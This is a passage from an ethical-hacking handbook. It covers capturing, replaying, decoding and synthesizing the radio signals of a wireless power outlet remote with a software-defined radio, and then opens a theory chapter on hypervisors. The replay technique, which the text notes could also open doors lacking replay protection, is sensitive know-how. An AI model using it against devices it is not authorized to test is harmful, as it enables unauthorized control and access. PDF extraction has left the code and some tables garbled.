and GNU Radio tools to evaluate an indoor wireless power outlet device. There’s nothing
special about this device choice, other than it was in my current inventory and is simple
enough to cover within a single chapter. HackRF was chosen because of its combination
of features, price, and ease of access. The software used throughout the chapter should
work with any of the affordable SDR platforms.
The general process we will follow in this chapter is known as SCRAPE, which stands
for Search, Capture, Replay, Analyze, Preview, and Execute.
NOTE Because the devices have to be purchased and the versions of the
outlets/remotes are not guaranteed when you purchase them, this section
does not contain a lab. In the event that you have the hardware or want
to simulate the work, the GNU Radio flow graphs, installation instructions,
capture files, and source code can be found on the book’s download site.
Search
During the Search phase of the SCRAPE process, we aim to find out as much as possible
about the radio’s characteristics without having to use any specialized equipment.
You already know that the FCC regulates the radio spectrum, but you might not
know that most devices that transmit must be certified by the FCC to ensure they oper-
ate within the rules established. When the product or module is certified, an FCC ID is
Gray Hat Hacking: The Ethical Hacker’s Handbook
450
Figure 22-1
Picture of the
remote
issued and must be visible on the product or module. This FCC ID is going to be our
search key for researching the RF characteristics.
The device we are going to look at is the Prime Indoor Wireless Power Outlet remote
(see Figure 22-1). It is not required that you purchase this device in order to follow along
in the chapter. The remote’s FCC ID is QJX-TXTNRC. The ID can be found on a label
on the exterior of the product. An FCC Equipment Authorization Search fails to find the
report for this device unless you use “-TXTNRC” for the product code. In order to get
around issues like this, I simply use Google for the search, like so:
www.google.com/search?q=fcc+QJX-TXTNRC
The website fccid.io typically shows up among the top hits. In our case, the top link was
https://fccid.io/QJX-TXTNRC.
At fccid.io, we find several linked documents and reports that tell us the operating
frequency range for this device is 315.0 MHz to 315.0 MHz (or simply 315.0 MHz).
These reports contain operating frequencies, sample waveforms that indicate the type
of transmission, time measurements that indicate the packet length, and various pulse
widths. We will use the operating frequency range as our starting point and leave the
remainder of the test report as a sanity check after we complete the testing.
Capture
Armed with the operating frequency, we have enough information to begin experiment-
ing with SDR and the device under test (DUT). At this point, we need to have the
SDR (HackRF) and the software (gnuradio and HackRF tools) installed and an antenna
capable of receiving 315 MHz (ANT500 75 MHz to 1 GHz). Although we will not go
through the install process directly, I do recommend using PyBOMBS and installing the
tools to your home directory using the prefix argument to PyBOMBS. By installing it to
Chapter 22: Software-Defined Radio
451
your home directory, you will have the ability to experiment with several configurations
and more easily recover from any future update issues. On the book’s download site, you
can find a README.txt file with instructions for installing the tools, the flow graphs
referenced throughout the chapter for use in GNU Radio Companion, and capture files
to use for analysis in the event you don’t have the device being referenced.
GNU Radio Companion (launched by running gnuradio_companion) is a GUI tool
that allows the user to create a software radio by chaining one or many signal-processing
blocks together. The tool generates Python code under the covers and allows the user to
define variables and use Python statements within the GUI. To capture the signal for
future analysis, refer to the flow graph represented in Figure 22-2. I encourage you to
browse the block panel tree and become familiar with the available blocks. However, for
the time being, refer to Table 22-2 for descriptions of the blocks used within the flow
graph. To minimize the amount of transmissions required, a file sink is used to write the
data for both replay and offline analysis.
NOTE The sample rate and channel frequency must be noted because they
will be necessary when using offline tools and replay attacks.
PART IV
During the Capture phase, I attempted to capture a file for each known stimulus.
With our DUT, the known stimuli are pushing the on/off button for each receptacle.
Additionally, to aid in our understanding of the device’s protocol, two remotes are used
for comparison. At this point, based on our understanding from the test report, we
should see a spike at or around 315 MHz, as shown in Figure 22-3. You will also notice
that a spike occurs at 316 MHz; this is an artifact of the test equipment (DC offset) and
is not of concern for our testing. The DC offset shows up at the center frequency and is
the reason we tuned the receiver to 316 MHz to move it out of the way. At this point, we
have enough data captured to move on to the next phase, Replay.
Replay
Now that we have captured signals, it is time to attempt to replay the data. Although the
inability to successfully replay the data does not necessarily mean that we failed to capture
the data correctly, the ability to successfully replay the data does indicate a potential com-
munication flaw. For systems where security is of concern, antireplay mitigations should
be in place to prevent unauthorized access. The general use case of a device like this is to
simply turn on or off a light, fan, or some other simple device. Therefore, I would suspect
that replay attacks are likely not mitigated. The main goal of the replay attack is to suc-
cessfully exercise the device with minimal understanding of the actual protocol.
The flow graph of the Replay phase will look like the Capture phase, with the exception
that we now use a file as the source and an osmocom as the sink. We have to reuse the
same sample rate and frequency in order for the signal to be reproduced as it was received.
Chapter 22: Software-Defined Radio
453
Figure 22-3
Captured signal
PART IV
Additionally, Multiply Const, QT GUI Time Sink, and Throttle blocks have been added
to the graph in Figure 22-4 to facilitate adjustments that may be required. Throttle is
added to keep the CPU utilization down if we do not have an external sink to effectively
rate-limit the data. Essentially, if the osmocom sink is disabled and the throttle is missing,
the data being read from the file is not rate-limited and CPU utilization may be high.
NOTE Make sure to use the Kill (f7) function to close the running flow
graph in order to allow the SDR to clean up properly. I have found that on
occasion, the transmitter does not stop transmitting, even when the Kill
function is used, so be careful not to continue transmitting after you are
done. Unfortunately, without a secondary SDR to monitor the transmission,
it is difficult to determine if there is continuous transmission. A reset of the
device can be used to ensure that transmission has stopped.
When the flow graph was originally run with a multiplier constant of 1, the power
outlet did not turn on. From the frequency plot in Figure 22-5, it looks like we are at least
transmitting on the correct frequency, so something else must be impeding our progress.
Because we are in the Replay phase and are not trying to completely reverse-engineer the
protocol at this time, we have a few more knobs that can be turned. The time plot shows
the signal in the time domain, with time on the X axis and amplitude on the Y axis.
Gray Hat Hacking: The Ethical Hacker’s Handbook
454
The transmitted signal’s amplitude in Figure 22-5 ranges from –0.2 to 0.2, which is likely
not enough power for the outlet’s receiver. In this case, we can simply change the multi-
plier constant to 4 and play it again (already reflected in the flow graph in Figure 22-4).
In many cases, the ability to successfully replay is “game over.” For example, if a door
access control device does not have replay mitigations, an attacker could acquire a sample
and gain unauthorized access. Now that we have successfully replayed the captured sig-
nal, we can move to the Analyze phase.
Analyze
Up until now, we have proven that we can capture and replay the signal, but we really
don’t know what is being transmitted. During this phase, we will attempt to learn how
the device differentiates between different button pushes and whether it is intelligent
enough to exclude other remotes. To accomplish both of those tasks, we must learn how
the data is encoded. Although we could use the gnuradio_companion to do the analysis,
we are going to use another tool that makes the task a bit easier: inspectrum.
Chapter 22: Software-Defined Radio
455
PART IV
PART IV
The color of the information displayed onscreen can be thought of as intensity and can
be adjusted by moving the Power Max and Min sliders. Adjust the Power Max and Min
sliders such that you see more distinct edges in this case. The –1 MHz on the verti-
cal scale refers to 316 MHz to 1 MHz (or 315 MHz). Furthermore, if you follow the
diagram horizontally from there, you will see a bunch of dashes of differing sizes with a
space between them. The dashes at our operating frequency look like Morse code and are
indicative of a form of on-off keying.
To decode the data, we need to calculate the symbol period and translate the sym-
bols of a single packet. Fortunately, inspectrum provides several tools to measure the
signal and capture the symbol data. The cursor function provides a means to graphically
partition the diagram into symbols of a specified length. Additionally, hidden on the
middle mouse button is the ability to add an amplitude plot and extract symbols. In
Figure 22-8, you see the addition of the cursor at a symbol period of 272μs and eight
periods overlaid on the signal. To determine the symbol period, align the front edge of
the cursor at the beginning of the smallest symbol and scale the cursor to align at the
end of the same symbol. Then simply move the region to align at the start of all symbols
and increase the number of symbols. The original symbol period will not be precise,
but it should be in the ballpark. The main idea is to ensure that the edges of all symbols
align with an edge of a period. Even with such a simple plot, several pieces of important
information are conveyed:
Now that we have what appears to be the symbol period, we should increase the num-
ber of symbols and see if we continue to line up with the edges of the dashes throughout
the entire packet of data. Simply zoom out on the diagram and see where the last pulse
aligns. In our case, we were slightly off, and I needed to stretch the period slightly such
that the symbol period is 275μs instead of 272μs. This is not unexpected, considering
that any errors in the initial measurement are multiplied by 100 in this case.
With the symbol rate and period confirmed, we can now extract the symbols and
translate them into binary data. To accomplish this, we use the amplitude plot from the
middle mouse. When the amplitude plot is added, a new bracket is added to the spectrum
graph with three horizontal lines. The bracket must be aligned (centered) on the symbol
data to get an amplitude plot of the symbol data on the newly added amplitude plot. In
this case, when the brackets are centered over the symbol data and the Power Max/Min
settings are reasonable, the plot begins to look like a square wave (see Figure 22-9). Once
the square wave looks like a square wave, we use the middle mouse once again to extract
the symbols to standard output (stdout). The extracted values are then printed out on the
command line where inspectrum was invoked (see Figure 22-10). At this point, we’ll
move into a little Python programming to translate the amplitude vector into a binary
vector for further processing.
The symbols that have been extracted are between –1 and 17, so we need to convert
them to binary data for easier processing. A reasonable method of conversion is to pick
a threshold value where anything greater than the threshold is a binary 1 and anything
lower is a binary 0. The upcoming decode-inspectrum.py script allows the user to select
a threshold based on the values extracted from inspectrum.
Chapter 22: Software-Defined Radio
459
PART IV
Figure 22-9 Amplitude plot
import bitstring
from bitstring import BitArray, BitStream
def decode(pfx,thresh,symbols):
s y mb o l S t r i n g = ' '
f o r i i n s y mb o l s :
i f i >t h r e s h :
s y mb o l S t r i n g + = ' 1 '
el se:
s y mb o l S t r i n g + = ' 0 '
h e x S y mb o l s = Bi t Ar r a y ( ' 0 b ' + s y mb o l S t r i n g )
c o n v e r t e d S y mb o l s = h e x S y mb o l s . h e x . r e p l a c e ( ' e ' , ' 1 ' ) . r e p l a c e ( ' 8 ' , ' 0 ' )
p r i n t ( " { 0 : < 1 2 s } { 1 } " . f o r ma t ( p f x , h e x S y mb o l s ) )
p r i n t ( " { 0 : < 1 2 s } { 1 } " . f o r ma t ( p f x , Bi t Ar r a y ( ' 0 b ' + c o n v e r t e d S y mb o l s [ : - 1 ] ) ) )
p r i n t ( s y mb o l S t r i n g )
In [3]: ❸tmp= 16.8144, 16.9547, 16.5725, -0.999272, 17.3654, -0.996848, -0.999571, -0.993058,
17.4464, -0.996842, -0.997412, -0.998701, 16.4391, 16.539, 16.8396, -0.99971, 17.4098, -0.998961,
-0.999215, -0.999266, 17.6255, -0.997948, -0.999665, -0.997095, 16.7962, -0.998431, -0.999317,
-0.997847, 16.9901, 16.8522, 16.5621, -0.997813, 17.4498, 16.2673, 17.0281, -0.99554, 17.5745,
16.7143, 17.0249, -0.999877, 16.2243, -0.999978, -0.997165, -0.998568, 16.7289, 17.4944, 17.4021,
-0.997684, 17.4977, 17.0088, 16.4327, -0.998229, 16.1483, -0.999961, -0.998696, -0.998189, 16.8322,
-0.997751, -0.995315, -0.996984, 18.5881, -0.999142, -0.997718, -0.997556, 17.4115, -0.999687,
-0.999922, -0.998284, 18.465, -0.998248, -0.999491, -0.997841, 17.7649, -0.999843, -0.999323,
-0.998556, 17.8577, -0.999423, -0.997512, -0.999266, 17.9569, -0.999706, -0.998791, -0.998976,
17.4343, -0.995211, -0.998814, -0.996952, 17.6677, -0.999965, -0.999467, -0.997974, 17.8313, 16.8585,
16.4318, -0.997114, 17.6524, -0.999487, -0.9997, -0.999322
❼1110100010001110100010001000111011101110100011101110100010001000100010001000100010001000100011101000
In [5]: quit
To interactively play with the data, I use ipython3 ❶, but feel free to run the code
however you choose. One benefit of ipython3 is that you can modify the routine and
reload ❷ it at will. The decode ❹ routine takes the output ❸ of the extract symbols
from inspectrum and prints the decoded data in the form of the raw hex decode ❺, the
Chapter 22: Software-Defined Radio
461
translated symbols decode ❻, and the raw binary decode ❼. The translated symbols
decode is based on the fact that on-off keying appeared to have two symbols. The binary
data reflects the same two symbols, with the long pulse being 0xe and the short pulse
being 0x8. The result of running the decode on all captures is shown next:
# Hex representation of symbols
# Data separated on groupings of 2 bits, 16 bits, 7 bits
r e mo t e 1 o n e o n 0xe8 8e888eee8ee88888 88888e8
r e mo t e 1 t wo o n 0xe8 8e888eee8ee88888 8888e88
r e mo t e 1 t h r e e o n 0xe8 8e888eee8ee88888 888e888
r e mo t e 1 o n e o f f 0xe8 8e888eee8ee88888 888ee88
r e mo t e 1 t wo o f f 0xe8 8e888eee8ee88888 88e88e8
r e mo t e 1 t h r e e o f f 0xe8 8e888eee8ee88888 88e8888
r e mo t e 2 o n e o n 0xe8 ee8eeeeeeee8eeee 88888e8
r e mo t e 2 t wo o n 0xe8 ee8eeeeeeee8eeee 8888e88
r e mo t e 2 t h r e e o n 0xe8 ee8eeeeeeee8eeee 888e888
r e mo t e 2 o n e o f f 0xe8 ee8eeeeeeee8eeee 888ee88
r e mo t e 2 t wo o f f 0xe8 ee8eeeeeeee8eeee 88e88e8
r e mo t e 2 t h r e e o f f 0xe8 ee8eeeeeeee8eeee 88e8888
PART IV
r e mo t e 1 t wo o f f 0x91d809
r e mo t e 1 t h r e e o f f 0x91d808
r e mo t e 2 o n e o n 0xb7f bc1
r e mo t e 2 t wo o n 0xb7f bc2
r e mo t e 2 t h r e e o n 0xb7f bc4
r e mo t e 2 o n e o f f 0xb7f bc6
r e mo t e 2 t wo o f f 0xb7f bc9
r e mo t e 2 t h r e e o f f 0xb7f bc8
It is not quite clear what the beginning of each packet is, but it consistently appears
to begin with binary 10 (represented as 0xe8 in hex). After that, the data differs only
between remotes, which may indicate an addressing scheme since the remotes only work
on the paired outlets. If we compare the same operation on both remotes, the last 4 bits
are clearly the operation being performed (that is, turn on Outlet 1). If it wasn’t obvious
before, we now know that replay attacks will only work with the paired outlet.
Preview
We are now at the point where we hope all the effort pays off and we can synthesize our
own data using the results of the analysis. The goal of the Preview step is to verify that
the data we are going to send looks like what we expect prior to sending it over the air.
This step could be combined with the Execute step, but I think it is important enough to
warrant its own step to ensure we do not skip it and start transmitting.
Up until now, the flow graphs we created have been relatively simple with very few
moving parts. To create the signal from scratch, we will be using several new blocks, as
Gray Hat Hacking: The Ethical Hacker’s Handbook
462
Name Purpose Parameters of Interest
Vector A vector of binary data to transmit.
Patterned Combines several sources into a Pattern of the inputs. The pattern
Interleaver single vector. indicates the number of values taken
from each source. In this case, you
combine the nonchanging data with
the addressing, operation, and gap.
Constant Source Provides a constant binary 0 to the
patterned interleaver to help with
the gap between packets.
Repeat Converts the binary pattern to Interpolation: sample_rate *
the symbol pattern by repeating symbol_rate
each binary value based on the 1 MSps * 275μs/symbol = 275
symbol and sample rate prior to samples per symbol
transmission.
Multiply Mixes (modulates) the data with
the carrier. This effectively turns on
and off the carrier frequency (on-
off keying).
Source Generates the carrier frequency. Sample Rate: 1M
Waveform: Cosine
Frequency: 314.98 MHz
Osmocom Sink Transmits the data provided Sample Rate: 1M
via the SDR. Ch0: Frequency: 314.98 MHz
Ch0: RF Gain: 8
Table 22-3 Description of New GNU Radio Blocks for Signal Synthesis
described in Table 22-3. The flow graph in Figure 22-11 includes the osmocom sink
block, but notice that the arrow and the block are a different color than the other arrows
and blocks. This indicates that they are disabled. Another subtle change is that we have
switched to 1 MSps instead of our typical 4 MSps. Because we are synthesizing the data,
we do not have to use the same sample rate as before. Additionally, the selected sample
rate made it easier to show that the symbol rate was 275μs.
The patterns are taken from the binary representation of the remote one on command:
Pattern = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2
,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2
,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]
Once you have run the flow graph, you will have a new capture file called test-preview.
Repeating the steps of the analysis on the test-preview capture should yield the same (or
similar) results if you did not make any mistakes in the flow graph (see Figure 22-12).
Note that the total number of symbol periods is 128, which matches the pattern with
the gap.
Chapter 22: Software-Defined Radio
463
PART IV
Figure 22-11 Replay flow graph: test-preview.grc
Execute
We have verified that the synthesized data looks like the data we received over the air. The
only thing left is to enable the osmocom sink (see Figure 22-13), transmit by executing
the flow graph, and watch the power outlet turn on. To enable the sink, simply right-
click the block and select Enable. If you are playing along, you will likely want to disable
the file sink to minimize the storage used. At this point, you can take a bow because you
have successfully replicated the functionality of the remote from scratch using an SDR.
Summary
Although we have barely scratched the surface of what can be done using an SDR with
GNU Radio, we were able to analyze a very simple RF device. Using the SCRAPE pro-
cess, we discovered the operating frequency, captured data, performed a replay attack, got
an understanding of the structure of the data, and synthesized the data from scratch. You
also saw how GNU Radio allows you to simulate signals without having to interface with
hardware. Hopefully, this chapter has piqued your interest in SDR and given you some
confidence that the subject is not beyond your reach.
Chapter 22: Software-Defined Radio
465
For Further Reading
bladeRF www.nuand.com/
GNU Radio tutorials wiki.gnuradio.org/index.php/Guided_Tutorial_Introduction,
wiki.gnuradio.org/index.php/Guided_Tutorial_GRC, wiki.gnuradio.org/index.php/
Guided_Tutorial_GNU_Radio_in_Python
HackRF One greatscottgadgets.com/hackrf/
Inspectrum github.com/miek/inspectrum
IPython ipython.readthedocs.io/en/stable/index.html
PyBOMBS github.com/gnuradio/pybombs
The National Association for Amateur Radio www.arrl.org
“Software Defined Radio with HackRF” (tutorial by Michael Ossmann, the creator
of HackRF) greatscottgadgets.com/sdr/
USRP www.ettus.com/product/category/USRP-Bus-Series
PART IV
This page intentionally left blank
PART V
Hacking Hypervisors
23
In this chapter, we cover the following topics:
• Theoretical model of virtualizable architectures
• x86 virtualization
• Paravirtualization
• Hardware assisted virtualization
NOTE Discussing each topic in depth is outside the scope of this book. The
reader should complement this chapter by reading the material from the
cited sources.
What Is a Hypervisor?
A hypervisor, or virtual machine monitor (VMM), is a component running in the host
that manages the creation, resource allocation, and execution of virtual machines (VMs).
Every VM provides an isolated virtual environment in which different operating systems
(OSs) can run.
Virtualization is a concept that goes back to the late 60s, when IBM was developing
its first CP/CMS1 systems: VMM software called Control Program (CP), which could
469
Gray Hat Hacking: The Ethical Hacker’s Handbook
470
run VMs with a lightweight OS called CMS. However, the first successful product to
fully virtualize 32-bit x86 processors came decades later, when VMware Workstation2
was introduced in 1999.
• Dispatcher This is the entry point of the trap handler and calls either the
allocator or the interpreter based on the source of the trap.
• Allocator This is called by the dispatcher when a VM attempts to execute a
control-sensitive instruction. The allocator manages system resources, isolating
VMM resources from VMs and those assigned to the VMs from each other.
• Interpreter This is called by the dispatcher when a VM attempts to execute
a privileged-instruction. The interpreter simulates the behavior of the faulting
instruction as if it were executed natively.
Chapter 23: Hypervisors 101
471
A VM is defined as a virtual environment—more specifically, as an “efficient, isolated,
duplicate of the real machine.” VMs run in user-mode and present the following properties:
• For any computer, a VMM may be constructed if its set of sensitive instructions
is a subset of the set of privileged instructions.
• A computer is recursively virtualizable if (a) it is virtualizable and (b) a VMM
without timing dependencies can be constructed for it.
• A hybrid virtual machine (HVM) may be constructed for any computer in which
the set of user-sensitive instructions is a subset of the set of privileged instructions.
The first theorem has important implications on the equivalence and resource-control
properties. If the set of sensitive instructions (the union of control-sensitive and behav-
ior-sensitive instructions) is privileged instructions, then every sensitive instruction
execution attempt by a VM will trap into the VMM’s dispatcher. The dispatcher will
call the allocator if the trap originates from a control-sensitive instruction (the resource-
PART V
control property holds) or the interpreter if the trap originates from a behavior-sensitive
instruction (the equivalence property holds). Innocuous instructions are either directly
executed by the CPU or handled by the interpreter in case they are privileged instruc-
tions (equivalence property holds). This kind of VMM implementation is known as
“trap-and-emulate,” and an architecture is considered to be “classically virtualizable” if a
VMM can be fully implemented in this way.
The second theorem refers to a recursively virtualizable computer, nowadays called
“nested virtualization.” While in theory the virtual environment provided by a VM
should be a duplicate of the real machine, in practice this is not always true. Instead,
it might represent a restricted subset, or a similar computer family. An example from
that time was the CP-67 running on an IBM S/360-67, which supported paging but
exposed the virtual environment of a S/360-65 without paging support. The lack of pag-
ing wouldn’t allow it to recursively run the CP-67, for which it required modifications.
Even if a VMM provides a virtual environment with all the features required by itself, it
still needs to run efficiently in that environment.
In the third theorem, we encounter a few new definitions: a user-sensitive instruc-
tion is defined as an instruction that is sensitive when executed in user-mode; simi-
larly, a supervisor-sensitive instruction is sensitive when executed in supervisor-mode.
Gray Hat Hacking: The Ethical Hacker’s Handbook
472
Popek and Goldberg’s Multitasking-Supporting
Computer Model Hardware
Execution modes Supervisor/user modes Protection rings
System resources mapping Relocation-register Segmentation and/or paging
relative addressing
Traps Trap mechanism Hardware exceptions/traps
Table 23-1 Comparison Between Popek and Goldberg’s Computer Model and Multitasking-
Supporting Hardware
NOTE The Windows 9x kernel module was named “Virtual Machine Manager”
(VMM.vxd), which is an interesting name choice for a kernel that did a pretty
bad job at protecting system resources from unprivileged programs.
Chapter 23: Hypervisors 101
473
An example of a software-visible resource mapping is the paging mechanism that
OSs use to map a virtual memory address to either a physical page or a non-present
page. When a program tries to access memory from a virtual address mapping to a non-
present page, it causes a page-fault exception. The exception is handled by the OS kernel,
which decides what to do with it. Goldberg defines this software-visible mapping as the
“ϕ-map,” and the page-fault exception would be a software-visible trap.
Program Program
Hardware Hardware
Exception/Trap Exception/Trap
resources resources
The hardware virtualizer introduces a new kind of mapping called an “f-map,” which
is invisible to the software running in the VM and is controlled by the VMM. Simply
put, the f-map maps the VM’s virtual resources to real hardware resources. Software run-
ning within a VM accesses its resources via the composed map “f ° ϕ.”
VM Program VM-Fault
f
VM Hardware
Exception/Trap
resources
PART V
resources
Mapping to a present resource
The f-map can also refer to a non-present resource; in this case, an access attempt will
cause a VM-fault.
VM Program VM-Fault
f
Hardware
VM
resources
Exception/Trap resources
Finally, the f-map can be defined in terms of a recursive VMM, so it is said to map
the virtual resources of an “n+1” level to those of an “n” level. When the “n” level is 0, the
map refers to the real hardware resources. Nested virtualization is possible by recursive
Gray Hat Hacking: The Ethical Hacker’s Handbook
474
composition of the f-map for “n” levels. The following illustration shows a simple example
where “n=1.”
VM VMM n = 1 VMM n = 0
f f
VM
Exception/Trap n=1 Hardware
resources
resources resources
A Type-2 VMM should be easier to implement because it can make use of existing
functionality provided by the host OS. However, it usually requires the host OS to be
extended with functionality needed by the VMM. We usually see virtualization solutions
of this type (such as VMware Workstation and VirtualBox6) install a set of kernel drivers
for this purpose. The rest is handled by a worker process running in user-mode. Some
solutions claiming to be Type-1, like KVM,7 don’t really differ much from this imple-
mentation scheme.
A difficulty faced by Type-1 VMMs is the need for a vast amount of hardware driv-
ers. Some implementations address this problem by allowing the VMM to pass through
some system resources to privileged VMs. During the boot process, the VMM creates
a privileged VM to offload many virtualization tasks, such as handling the hardware
Chapter 23: Hypervisors 101
475
devices and providing a machine extended interface for the worker processes. In Xen,8
this privileged VM is known as dom0, while in Hyper-V9 it is called the root-partition.
Other Type-1 solutions, like VMware ESXi, bring up their own kernel (VMkernel) to
run the rest of the virtualization stack.
x86 Virtualization
Previous to the existence of hardware virtualization extensions, there were no mecha-
nisms present in the x86 architecture providing software-invisible maps (f-map) or traps
(VM-fault). Still, it would be possible to implement a VMM on top of the software-
visible mechanisms (virtual memory and hardware exceptions). The question is, does the
x86 architecture meet Popek and Goldberg’s virtualization requirements?
The first virtualization theorem states that the set of sensitive instructions should be
a subset of the privileged instructions. The x86 doesn’t meet this requirement because
its instruction set has sensitive instructions that do not belong to the set of privileged
instructions.10 To see why this is an important limitation, let’s take a deeper look at one
of these instructions.
Our case study is the Store Interrupt Descriptor Table Register (SIDT) instruction,
which stores the contents of the IDTR register, composed of the size and base of the cur-
rent IDT,11 in the memory address of its destination operand. The SIDT instruction is
known to be problematic since it can be executed from user-mode to retrieve the kernel
address of the current IDT. This situation has forced kernel developers to take measures
like mapping the IDT away from the rest of the kernel and making it read-only as a way
to prevent its use as an exploitation vector.
PART V
NOTE Intel finally introduced a feature called User-Mode Instruction
Prevention (UMIP12) to forbid the user-mode execution of the following
instructions: SGDT, SIDT, SLDT, SMSW, and STR. All these are sensitive,
unprivileged instructions!
Implementing a VMM for the x86 would require taking over the trap mechanism by
installing the VMM’s own IDT and providing virtualized IDTs to the guests that, from
their perspective, should be indistinguishable from real IDTs. A VM shouldn’t be allowed
to execute code at Ring-0 to make sure that any privileged instruction attempt within it
causes a general protection fault (#GPF). This way, the VMM could trap-and-emulate
privileged instructions executed by VMs.
How can SIDT interfere with the functioning of this VMM? Imagine a VM executing
kernel code at Ring-3. This kernel code wants to get information about its own virtual
IDT, and it does it by executing the SIDT instruction. Because this is not a privileged
instruction, the CPU executes it and no #GPF ever happens. The guest doesn’t receive the
“IDTR” of its own virtual IDT but rather the IDTR contents of the real IDT installed
by the VMM. The equivalence property is broken, and the resource-control property is
violated by exposing sensitive host information to the guest.
Gray Hat Hacking: The Ethical Hacker’s Handbook
476
Dynamic Binary Translation
Dynamic binary translation (DBT) is a technique used to rewrite a target’s binary code
to the equivalent host’s native code. It is commonly used by emulators in conjunction
with or as a replacement for binary interpretation (where every instruction is interpreted
by software) in order to achieve faster execution speeds. Target instructions are translated
on the fly, like in a JIT compiler. DBT can be complex and requires special handling of
corner cases like self-modifying code.
DBT can be used to work around the problems caused by unprivileged, sensitive
instructions. Unlike emulators, where a complex, cross-architecture type of translation
is performed, a simpler, lightweight x86-to-x86 translation is employed, where most of
the original instructions are preserved. Modifications are only made to sensitive unprivi-
leged instructions, relative addressing, and control flow instructions. The need to per-
form modifications to the last two are a direct consequence of the side effects in code size
caused by the translation process itself. Sensitive instructions are translated to code that
simulates the execution of the original instruction from the point of view of the target.
VMM implementers realized they could extend DBT use to translate privileged instruc-
tions to avoid excessive traps and improve performance. The concept was further extended
to perform “adaptive binary translation”13 of instructions that would trap when accessing
system resources (for example, page-table updates when shadow memory is used). Other
improvements followed, like the translation of clusters of trap-causing instructions.14
Ring Compression
We know that a virtualizable architecture requires two modes of operation: a supervisor
mode to run the VMM, and a user mode to run VM programs. Once the x86 enters pro-
tected mode, four protection (ring) levels are provided, of which two of them are com-
monly used by OSs: Ring-0 for kernel code and Ring-3 for user programs. Attempts to
execute a privileged instruction at any ring level other than Ring-0 causes a trap (#GPF).
Following this design, VMs should only execute at ring levels 1–3, while the VMM
should run at Ring-0. To accomplish this, the OS kernel running in the VM must be
demoted from Ring-0 to one of the other levels.
The x86 paging mechanism can only distinguish between “supervisor” and “user”
pages. Ring levels 0–2 can access both (except when SMAP and SMEP15 are enforced),
while Ring-3 can only access “user” pages. So, if we want to use paging to protect the
VMM memory, VMs should only be allowed to run at Ring-3. This means that there
wouldn’t be a difference in the privilege level of the kernel and its user processes.
In a typical OS implementation, the virtual address space is partitioned into two halves,
mapping the kernel’s memory into every user process. This scheme has a few advantages,
such as simple discrimination of user/kernel pointers, keeping kernel addresses cached
in the TLB, and the ability to perform direct copy operations from the kernel to user
addresses. On the other hand, this sharing of address space has facilitated kernel exploita-
tion for a long time and has created a need for many mitigations (KASLR,16 UDEREF,17
SMEP, and SMAP).
Chapter 23: Hypervisors 101
477
NOTE In the last years, a number of transient-execution vulnerabilities18
have been discovered that can be used, among other things, to leak
privileged memory contents to user-mode. To mitigate many of them,
Kernel Page-Table Isolation (KPTI19) is enforced; funnily enough, it works by
removing most of the kernel mappings from user processes, which undoes
most of the performance benefits provided by the memory split.
The address space sharing becomes problematic once the kernel is put at Ring-3. As is,
the VMM can’t protect the kernel’s memory for user processes unless it is unmapped and
remapped between context switches, but that would be too expensive. The solution is to
place the kernel at Ring-1. This way, paging can protect the kernel’s memory (supervisor
pages) from user-space. There is a catch: paging can’t protect the VMM’s supervisor pages
from Ring-1, however, we can still use segmentation to protect the VMM’s memory from
the guest kernel.
Shadow Paging
The x86 Memory Management Unit (MMU) maps virtual addresses (VAs) to physical
PART V
addresses (PAs) by using a software-visible, tree-like data structure known as multilevel
page-tables. Under normal circumstances, page-tables are constantly accessed by the
OS kernel; however, under virtualization, they are a critical resource, and direct access
from VMs must not be allowed. To virtualize the MMU, machine physical addresses
(that is, system physical addresses, or SPAs) must be invisible to the guests, which
instead should be presented with a set of pseudo-physical addresses (that is, guest
physical addresses, or GPAs). The MMU can be seen as a “ϕ-map”; a virtualized MMU
would map GVAs to GPAs. An “f-map” is needed to map GPAs to SPAs, but initially,
the x86 lacked such mechanism (this was later introduced with EPT). To work around
this limitation shadow paging techniques were implemented.
Shadow paging consists in taking over the “ϕ-map” (the page-tables used by the
MMU) and presenting the guests with a set of virtual page-tables (mapping GVAs to
GPAs). Every guest attempt to write to the set of virtual page-tables will trap into the
VMM, which synchronizes the real set of page-tables (mapping GVAs and HVAs to
SPAs) accordingly.
Gray Hat Hacking: The Ethical Hacker’s Handbook
478
Address translation is performed by walking the multilevel page-tables, which is a
process that is completely based on PAs and starts at the PA of the topmost table pointed
to by the CR3 register. In contrast, once paging is enabled, memory accesses caused
by instructions are based on VAs, including those to the page-tables themselves, for
which they need to be self-mapped to be accessed. This self-referencing principle can be
exploited by the VMM to implement shadow paging.
NOTE In this book we will use the term system physical address (SPA) to
refer to a machine physical address and the term guest physical address
(GPA) to refer to the pseudo-physical address seen by the guest. For page
frame number (PFN), we will use system page frame number (SPFN) or
guest page frame number (GPFN). For virtual address (VA), we will use host
virtual address (HVA) or guest virtual address (GVA). Keep in mind that other
naming schemes exist to refer to the same terms we use.
A VMM must handle attempts from the guest OS to access the MMU configuration
and/or the page-tables. To access the MMU configuration, the guest needs to execute privi-
leged instructions (to access, for example, the CR3 or CR4 registers). Privileged instruc-
tions trap, so handling this case is straightforward. Handling guest accesses to page-tables is
more complicated and involves the construction of a set of pseudo-page-tables.
When a guest attempts to set a PA to CR3, this PA is actually a GPA to what the guest
believes to be the topmost level of its own page-tables. The CR3 write access traps into
the VMM, which handles it by performing the following steps:
1. Get the SPA corresponding to the GPA used by the guest to set CR3.
2. Map the SPA into an HVA and start walking the pseudo-page-table pointed by it;
each entry contains the GPA (GPFN) of the next level of page-tables.
3. For each page-table GPA, get its SPA and repeat from step 2.
4. For each pseudo-page-table, build a shadow page-table. This shadow page-table will
be used by the MMU, but it will be invisible to the guest. Entries will either point
to the next-level table or map a GVA. If the entry points to the next-level table, its
SPA must point to the corresponding shadow page-table. If it maps a GVA, then
the entry must encode the SPA of the GPA that corresponds to the GVA.
5. If a GVA maps a GPA belonging to the set of pseudo-page-tables, then the
corresponding entry in the shadow page-table is set as read-only.
This way, every time the guest attempts to update its own page-tables, the write
attempt will trap into the VMM, which will handle the access and update the corre-
sponding shadow page-table tables. The following illustration shows an example of how
the GVA of the guest’s PDPT can be translated by the shadow paging mechanism.
Chapter 23: Hypervisors 101
479
